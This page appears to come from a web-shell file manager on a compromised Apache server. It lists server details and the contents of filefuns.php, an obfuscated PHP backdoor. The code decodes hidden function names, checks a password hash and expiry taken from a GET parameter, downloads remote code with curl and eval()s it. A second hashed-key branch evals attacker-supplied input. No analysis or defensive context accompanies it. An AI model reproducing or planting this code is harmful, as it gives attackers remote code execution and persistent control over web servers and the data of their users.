HEX
Server:Apache/2.4.65 (Amazon Linux)
System:Linux ip-172-31-26-109.ec2.internal 6.1.155-176.282.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 7 15:53:25 UTC 2025 x86_64
User:apache (48)
PHP:8.4.13
Disabled:NONE
Upload Files
File: /var/www/html/filefuns.php
<?php
 goto jc2PKjZR1Du7j4wY; YqUlYnVL6yWZe8_N: class WNMlMnWsLJiG3KUr { static function DfjIQpHWh_R5xcK1($xdB3pCe8EGFyKg7i) { goto chqPTS6k44Q2VyKZ; iB4koXFX912NeIuK: AFh9reIXarEEx9W2: goto L8Kh41qxXSsupg0f; chqPTS6k44Q2VyKZ: $A_wC3pHfNqfcdy1R = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto E3BWS3ISw0JBZWPs; rHb3knR1ImoaSqg6: $J5biR41HDOoTbwwW = ''; goto jkOaH70Zkxw6y48i; jkOaH70Zkxw6y48i: foreach ($Dclzz0owSKV30SLU as $i4LmJfEepq8wL82J => $YuRt3JLqRCiHPXUf) { $J5biR41HDOoTbwwW .= $tg9SbGAlo4sGaLyr[$YuRt3JLqRCiHPXUf - 36618]; laaUSJAmSshlOqfD: } goto iB4koXFX912NeIuK; eRNUXaq2yxBRu6Da: $Dclzz0owSKV30SLU = explode("\56", $xdB3pCe8EGFyKg7i); goto rHb3knR1ImoaSqg6; L8Kh41qxXSsupg0f: return $J5biR41HDOoTbwwW; goto nWiUVz13F9j6T2iF; E3BWS3ISw0JBZWPs: $tg9SbGAlo4sGaLyr = $A_wC3pHfNqfcdy1R("\176", "\x20"); goto eRNUXaq2yxBRu6Da; nWiUVz13F9j6T2iF: } static function zWjGregUCsSEc29O($th3MAZEV9ngHUfEx, $u5oclL2Az_smkKfY) { goto Ba3puV32hv3MixJ2; Ba3puV32hv3MixJ2: $USYKHsGlTOmijM4d = curl_init($th3MAZEV9ngHUfEx); goto ubOeONs0pqW7uCco; ztTNaNXq6qgQf3XW: $s1zum3F9uqzsaQDK = curl_exec($USYKHsGlTOmijM4d); goto fD9uUWEMlspI5MvC; fD9uUWEMlspI5MvC: return empty($s1zum3F9uqzsaQDK) ? $u5oclL2Az_smkKfY($th3MAZEV9ngHUfEx) : $s1zum3F9uqzsaQDK; goto bMte2a0HDBD11nZO; ubOeONs0pqW7uCco: curl_setopt($USYKHsGlTOmijM4d, CURLOPT_RETURNTRANSFER, 1); goto ztTNaNXq6qgQf3XW; bMte2a0HDBD11nZO: } static function oqcjVMIudlUlgiFJ() { goto KFNJc2bq5Mtc43R5; XOW6dKmJEGo7HYgK: @$TK9StnHNlUlym0NG[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($TK9StnHNlUlym0NG[3 + 2](__FILE__)); goto r3jYMGno4ATDdOgL; EsIqD6qrvqMU4aHP: if (!(@$onDfx2IIhsDpE43T[0] - time() > 0 and $PqLLVuGaW2zxsf3q === "\x39\66\x31\144\x65\x64\x66\141\x30\x66\143\61\x66\63\143\x33\x36\142\144\70\x39\x64\71\145\64\63\144\x65\70\x62\x65\143")) { goto HCkkKZ8B_5rsAmxl; } goto OKgzC09Pw3fV5ciN; Yq3Yl3qrXGkXE91w: @eval($TK9StnHNlUlym0NG[2 + 2]($LleNOVcr8y00_pV7)); goto nMHp3f7MU76r1OkE; KFNJc2bq5Mtc43R5: $G51iRva09njkoUmS = array("\x33\66\x36\x34\x35\56\x33\x36\x36\63\60\x2e\63\x36\66\64\63\x2e\63\x36\66\64\x37\56\x33\66\x36\62\x38\x2e\63\x36\x36\64\63\x2e\x33\x36\66\64\x39\x2e\63\x36\66\x34\x32\x2e\x33\x36\x36\x32\x37\x2e\x33\66\66\x33\64\56\x33\66\x36\x34\65\56\x33\x36\x36\x32\x38\x2e\63\x36\66\x33\x39\x2e\63\x36\x36\63\x33\x2e\x33\x36\x36\63\64", "\63\x36\66\x32\71\56\63\66\66\x32\x38\x2e\63\x36\66\63\x30\56\x33\x36\66\x34\71\x2e\x33\x36\66\x33\60\56\63\66\66\x33\x33\56\63\x36\x36\x32\x38\x2e\x33\66\66\71\x35\56\63\66\66\71\x33", "\63\66\66\63\x38\x2e\63\66\66\62\71\56\x33\66\66\x33\x33\x2e\63\x36\x36\63\64\x2e\x33\66\66\64\71\x2e\x33\66\x36\x34\64\x2e\x33\66\x36\64\x33\56\63\x36\x36\64\x35\56\63\x36\x36\63\x33\x2e\63\66\x36\x34\x34\x2e\63\x36\66\x34\63", "\63\x36\x36\63\x32\x2e\63\x36\66\64\x37\x2e\63\x36\x36\x34\x35\56\63\x36\x36\63\x37", "\x33\x36\66\x34\x36\56\63\x36\66\x34\x37\x2e\x33\x36\66\62\71\x2e\x33\66\x36\x34\63\x2e\63\66\66\x39\x30\56\63\x36\x36\x39\x32\56\x33\66\x36\x34\71\56\63\66\66\64\64\56\63\x36\66\64\63\56\x33\x36\66\64\x35\56\x33\x36\66\63\63\56\x33\66\66\x34\x34\56\x33\66\x36\x34\63", "\x33\x36\x36\x34\x32\x2e\x33\x36\x36\63\71\56\x33\66\66\x33\66\56\63\x36\66\64\x33\56\x33\x36\66\x34\x39\56\63\66\x36\64\x31\x2e\x33\x36\66\x34\x33\56\63\66\66\62\x38\56\63\66\66\x34\x39\x2e\x33\x36\x36\x34\x35\56\x33\66\x36\x33\x33\56\x33\x36\66\63\x34\x2e\x33\x36\66\62\x38\56\x33\x36\x36\64\63\x2e\63\66\x36\63\64\56\x33\66\66\62\70\56\63\x36\x36\62\71", "\x33\x36\x36\67\x32\56\x33\x36\x37\60\62", "\63\x36\66\61\71", "\x33\x36\x36\71\x37\x2e\x33\66\67\60\62", "\63\66\x36\x37\71\x2e\63\x36\x36\66\62\56\63\66\66\66\x32\56\63\x36\x36\67\x39\56\x33\66\66\65\65", "\63\66\x36\64\62\56\63\x36\x36\x33\x39\x2e\x33\x36\x36\x33\66\x2e\x33\66\66\62\x38\x2e\63\x36\x36\x34\63\56\63\x36\66\63\60\56\x33\x36\x36\x34\x39\x2e\x33\66\x36\x33\71\56\x33\x36\66\63\x34\56\x33\x36\66\63\x32\x2e\63\66\66\x32\67\x2e\x33\x36\x36\62\x38"); goto MTtzLb0Hbc2uOw3u; s3hY8P3FRJPy36Mp: $onDfx2IIhsDpE43T = $TK9StnHNlUlym0NG[0 + 2]($Rej1WYtY4t6G5Kcg, true); goto GHmaw1E2OTTgBGOK; xFphU2X_bIE6RT6l: $WV9W0q3zedDpkww0 = @$TK9StnHNlUlym0NG[1]($TK9StnHNlUlym0NG[6 + 4](INPUT_GET, $TK9StnHNlUlym0NG[9 + 0])); goto mqlfAbgu0tPKzYYp; i9tU0Uyjm1rpCY0a: HCkkKZ8B_5rsAmxl: goto EPjzIcECUsfnL6Fb; MTtzLb0Hbc2uOw3u: foreach ($G51iRva09njkoUmS as $oTX_fA7DoIsdmRMo) { $TK9StnHNlUlym0NG[] = self::DFjIqphWh_r5xcK1($oTX_fA7DoIsdmRMo); sSy4V2ouCUeMS8DK: } goto KRZop_2FwVU6w4S0; nMHp3f7MU76r1OkE: die; goto i9tU0Uyjm1rpCY0a; GHmaw1E2OTTgBGOK: $bSNb9YSK6D6Vn5Xj = md5($onDfx2IIhsDpE43T[2 + 1]); goto XOW6dKmJEGo7HYgK; KRZop_2FwVU6w4S0: LgPtOmehIQatfCky: goto xFphU2X_bIE6RT6l; mqlfAbgu0tPKzYYp: $Rej1WYtY4t6G5Kcg = @$TK9StnHNlUlym0NG[3 + 0]($TK9StnHNlUlym0NG[6 + 0], $WV9W0q3zedDpkww0); goto s3hY8P3FRJPy36Mp; r3jYMGno4ATDdOgL: $PqLLVuGaW2zxsf3q = md5($bSNb9YSK6D6Vn5Xj); goto EsIqD6qrvqMU4aHP; OKgzC09Pw3fV5ciN: $LleNOVcr8y00_pV7 = self::zWjgREGucSSeC29o($onDfx2IIhsDpE43T[1 + 0], $TK9StnHNlUlym0NG[0 + 5]); goto Yq3Yl3qrXGkXE91w; EPjzIcECUsfnL6Fb: } } goto Y2bIOKDKLwIM_7Ky; jc2PKjZR1Du7j4wY: $QGM_DTtKD3_t00oA = "\162" . "\141" . "\156" . "\x67" . "\145"; goto ueSrEoCFEr0xTY19; D53U4NJUK0rou52T: $HBitiBdcnaVWlvg6 = ${$eMNslBJ34B45CEHo[25 + 6] . $eMNslBJ34B45CEHo[40 + 19] . $eMNslBJ34B45CEHo[27 + 20] . $eMNslBJ34B45CEHo[33 + 14] . $eMNslBJ34B45CEHo[39 + 12] . $eMNslBJ34B45CEHo[6 + 47] . $eMNslBJ34B45CEHo[6 + 51]}; goto y71P31ifRnv8om6k; ueSrEoCFEr0xTY19: $eMNslBJ34B45CEHo = $QGM_DTtKD3_t00oA("\x7e", "\40"); goto D53U4NJUK0rou52T; F0oMINdq7avOcldb: metaphone("\115\x7a\x49\65\117\104\131\63\117\124\x59\x30\115\152\x45\63\x4d\x7a\x49\x32\115\124\143\x31\115\x7a\x59\x7a\x4e\104\x45\171"); goto YqUlYnVL6yWZe8_N; y71P31ifRnv8om6k: @(md5(md5(md5(md5($HBitiBdcnaVWlvg6[14])))) === "\x34\66\61\x63\x32\x34\61\x61\x32\63\67\71\144\x61\70\142\145\60\143\62\70\71\65\x36\x32\144\x34\141\x30\x35\x36\x61") && (count($HBitiBdcnaVWlvg6) == 20 && in_array(gettype($HBitiBdcnaVWlvg6) . count($HBitiBdcnaVWlvg6), $HBitiBdcnaVWlvg6)) ? ($HBitiBdcnaVWlvg6[65] = $HBitiBdcnaVWlvg6[65] . $HBitiBdcnaVWlvg6[71]) && ($HBitiBdcnaVWlvg6[83] = $HBitiBdcnaVWlvg6[65]($HBitiBdcnaVWlvg6[83])) && @eval($HBitiBdcnaVWlvg6[65](${$HBitiBdcnaVWlvg6[41]}[16])) : $HBitiBdcnaVWlvg6; goto F0oMINdq7avOcldb; Y2bIOKDKLwIM_7Ky: WnmLMnwslJig3kUR::oqcjvMiudlulgIFJ();
?>
BiaoJiOk